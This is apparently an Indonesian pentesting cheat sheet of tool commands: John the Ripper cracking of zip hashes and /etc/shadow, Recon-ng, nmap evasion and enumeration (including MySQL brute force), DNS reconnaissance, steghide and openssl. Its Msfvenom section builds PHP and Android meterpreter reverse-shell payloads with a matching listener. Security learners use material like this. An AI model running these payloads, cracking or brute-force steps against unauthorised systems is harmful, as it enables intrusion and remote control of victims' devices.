Five Byte

Appearance

On this page

John the Ripper ​

sh
zip2john test.zip
sh
zip2john test.zip > hash.txt
sh
john -format:zip hash.txt
sh
john hash.txt
sh
john /etc/shadow

Recon-ng ​

Recon-Web Required

sh
pip install flask
sh
pip install dicttoxml
sh
pip install unicodecsv
sh
pip install xlsxwriter
sh
marketplace install all

Lihat daftar list

sh
keys list

Menambahkan api

sh
keys add shodan_api <YOUR_API>

Menambahkan workspace

sh
workspaces create tes

Cek Daftar workspace

sh
workspaces list

Pindah workspace

sh
workspaces load <NAMA_WORKSPACE>

Menambahkan domain

sh
db insert domains

Melihat daftar domain

sh
show domains

Melihat Daftar Module

sh
modules search

Install Module

sh
marketplace install <NAMA_MODULE>

Load module

sh
modules load <NAMA_MODULE>

Module Shodan

recon/locations-pushpins/shodan

Module host

recon/hosts-hosts/resolve 
recon/hosts-hosts/ipstack

Module domains-contacts

recon/domains-contacts/whois_pocs
recon/domains-contacts/pgp_search

Module domains-hosts

recon/domains-hosts/bing_domain_web 
recon/domains-hosts/brute_hosts

Module Interesting

discovery/info_disclosure/interesting_files

Module Web

recon/domains-hosts/builtwith
recon/domains-hosts/google_site_web

Record

sh
script record PATH
sh
script record stop

Menjalankan Record

sh
./recon-ng -r PATH

Menyimpan output menggunakan spool

sh
spool start
sh
spool stop

Msfvenom & Msfconsole ​

File Upload

sh
msfvenom -p php/meterpreter/reverse_tcp lhost=<IP> lport=4444 raw

Masuk Msfconsole

sh
msfconsole
sh
use exploit/multi/handler
sh
set payload php/meterpreter/reverse_tcp
sh
set lhost <IP>
sh
set lport 4444
sh
exploit

Masuk Browser jalankan file php yg berhasil di upload tadi di URL Remote Android

sh
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=4444 AndroidMeterpreterDebug=true AndroidWakelock=true R > /var/www/html/new.apk
sh
sudo service postgresql start
sh
msfconsole
sh
use exploit/multi/handler
sh
set payload android/meterpreter/reverse_tcp
sh
set lhost 192.168.x.x
sh
exploit

Nmap ​

Firewall Evasion (Decoys,MTU & Fragmentation) ​

sh
nmap -sS -sV -F -D RND:3 nmap.scanme.org
sh
nmap -sS -sV -F -f -D 127.0.0.1 nmap.scanme.org
sh
nmap -sS -sV -F -f --send-eth -D 127.0.0.1 nmap.scanme.org
sh
nmap -sS -sV -F --mtu 16,24,32 -D 127.0.0.1 nmap.scanme.org
sh
nmap -sS -sV -F --mtu 16 --send-eth -D 127.0.0.1 nmap.scanme.org

Scan Timing Performance ​

scan timing

sh
nmap -sS -p21-80 -T1 nmap.scanme.org
sh
nmap -Pn -sS -p21-80 -T1 nmap.scanme.org

parallelism

sh
nmap -sS -p21-433 --min-parallelism 10 nmap.scanme.org
sh
nmap -sS -p21-433 --max-parallelism 1 nmap.scanme.org

host group sizes

sh
nmap -sS -F --min-hostgroup 30 127.0.0.1/24
sh
nmap -sS -F --max-hostgroup 5 127.0.0.1/24

host timeout

sh
nmap -Pn -p- 127.0.0.1 --host-timeout 30s

scan delay

sh
nmap -sT --scan-delay 5s nmap.scanme.org

packet rate

sh
nmap -sT --min-rate 20 nmap.scanme.org
sh
nmap -sT --max-rate 2 nmap.scanme.org

Nmap Scripting Engine (NSE) ​

sh
ls -al /usr/share/nmap/scripts/
sh
ls -al /usr/share/nmap/scripts/ | grep -e "http"
sh
sudo nmap --script-updatedb
sh
nmap -p 21 --script ftp-anon 127.0.0.1
sh
nmap -p 21 --script ftp-anon,ftp-vsftpd-backdoor 127.0.0.1
sh
nmap -p 21 --script "ftp-*" 127.0.0.1
sh
sudo nmap -p22,80 --script banner 127.0.0.1
sh
sudo nmap -F -T4 --script banner 127.0.0.1

FTP Enumeration ​

sh
sudo nmap -sS --script ftp-anon,stp-syst,tftp-enum,ftp-vsftpd-backdoor 127.0.0.1

DNS Enumeration ​

sh
sudo nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=zonetransfer.me -p 53 -Pn $(dig +short zonetransfer.me NS | head -1)
sh
sudo nmap --script dns-zone-transfer --script-args dns-zone-transfer.server=nsztml.digi.ninja.dns-zone-transfer.port=53,dns-zone-transfer.domain=zonatransfer.me
sh
sudo nmap -Pn --script dns-brute --script-args dns-brute.threads=5,dns-brute.hostlist=/usr/share/wordlist/Seclists/Discovery/DNS/fierce-hostlist.txt zonatransfer.me

SMTP Enumeration ​

sh
sudo nmap -p25 --script smtp-commands 127.0.0.1
sh
sudo nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY} 127.0.0.1
sh
nmap -p25 --script smtp-open-relay 127.0.0.1
sh
sudo nmap -p25 --script smtp-vuln-cve2011-1720 127.0.0.1

HTTP Enumeration - Detecting HTTP Methods ​

sh
sudo nmap -Pn -sV -p 80 -T4 --script http-methods --script-args http-methods.test=all nmap.scanme.org

HTTP Enumeration -Finding Hidden Files and Directories ​

sh
sudo nmap -sV -p 80 --script http-enum 127.0.0.1

HTTP Enumeration - WAF Detection and Fingerprinting ​

sh
sudo nmap -Pn -p 80 --script http-waf-detect 127.0.0.1
sh
sudo nmap -Pn -p 80 --script http-waf-detect,http-waf-figerprint 127.0.0.1

SMB Enumeration ​

sh
sudo nmap -p 445 -script smb-os-discovery 127.0.0.1
sh
sudo nmap -p 445 -script smb-enum-shares 127.0.0.1
sh
sudo nmap -p 445 -script smb-enum-users 127.0.0.1 -d
sh
sudo nmap -p 445 -script smb-protokols 127.0.0.1
sh
sudo nmap -p 445 -script smb-double-pulsar-backdoor 127.0.0.1
sh
sudo nmap -p 445 -script smb-vuln-ms17-010 127.0.0.1

MySQL Enumeration ​

sh
nmap -p 3306 --script mysql-info 127.0.0.1
sh
nmap -p 3306 --script mysql-enum 127.0.0.1
sh
sudo nmap -p 3306 --script mysql-empty-password 127.0.0.1
sh
nmap -T4 -p 3306 --script mysql-brute --script-args mysql-brute.threads=100 127.0.0.1

Vulnerability Scanning With Nmap ​

sh
sudo nmap -sV -p21-8080 --script vulners 127.0.0.1

Scan for network vulnerabilities ​

sh
sudo nmap --script nmap-vulners -sV 192.168.x.x

Operating System Detection ​

sh
sudo nmap -O 127.0.0.1
sh
sudo nmap -O --osscan-guess 127.0.0.1

Reconnaissance ​

Finding e-mail ​

sh
sudo theHarvester -d google.com -l 500 -b goole.com
sh
sudo theHarvester -d google.com -l 500 -b all

Clone Website ​

sh
httrack

ICMP Reconnaissane ​

sh
fping -asg 127.0.0.1/24

DNS Reconnaissane with dig ​

sh
dig www.x.com
sh
dig -t ns www.x.com

DNS target identification ​

sh
fierce -dns www.x.com

DNS Enumerating with host ​

sh
sudo host -a google.com
sh
sudo host -t ns google.com
sh
sudo host -t mx google.com
sh
sudo host -l google.com ns1.google.com

DNS Enumerating with Dnsrecon ​

sh
sudo dnsrecon -d google.com

Reverse lookups

sh
sudo dnsrecon -r x.x.x.00-x.x.x.50

Zone transfer

sh
sudo dnsrecon -d google.com -a

DNS Enumerating with Dnsenum ​

sh
sudo dnsenum google.com

Brute-force

sh
sudo dnsenum -f /usr/share/wordlists/subdomains/subdomains_popular_1000 -r google.com

Steghide ​

Install

sh
sudo apt install steghide

cara pakai Untuk memasukan filenya

sh
steghide embed -cf cvr.jpg -ef emb.txt

untuk extraknya

sh
steghide extract -sf stg.jpg

Compress and protect folder ​

encrypt

sh
tar -cz namaDir | openssl enc -aes-256-cbc -salt -out namaDir.tar.gz.enc
sh
mv namaDir.tar.gz.enc namaDir.tar.gz.enc.tar.gz

decrypt

sh
openssl enc -aes-256-cbc -d -in namaDir.tar.gz.enc.tar.gz | tar -xz

Terima Kasih ​